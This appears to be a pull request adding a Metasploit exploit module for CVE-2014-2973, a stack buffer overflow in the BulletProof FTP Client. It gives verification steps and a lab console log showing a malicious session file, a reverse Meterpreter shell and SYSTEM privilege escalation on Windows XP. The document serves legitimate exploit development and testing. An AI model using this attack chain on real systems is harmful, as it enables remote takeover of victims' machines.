rapid7/metasploit-framework — pull request #4443 by sgabe (2014-12-20 17:40:23+00:00)
Title: Add module for CVE-2014-2973

This module exploits a stack-based buffer overflow in BulletProof FTP Client. The vulnerable application is available for download at http://www.bpftp.com/.

Verification steps:
1. File -> Load BP Session...
2. Connect

Tested on Windows XP SP3, test run results below:

```
msf > use exploit/windows/fileformat/bpftp_client_bps_bof
msf exploit(bpftp_client_bps_bof) > run

[*] Creating 'msf.bps' file ...
[+] msf.bps stored at /home/gabor/.msf4/local/msf.bps
msf exploit(bpftp_client_bps_bof) > use exploit/multi/handler
msf exploit(handler) > run

[*] Started reverse handler on 192.168.17.131:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.17.129
[*] Meterpreter session 1 opened (192.168.17.131:4444 -> 192.168.17.129:1218) at 2014-12-20 18:30:42 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer : GABOR-03722ADE8
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```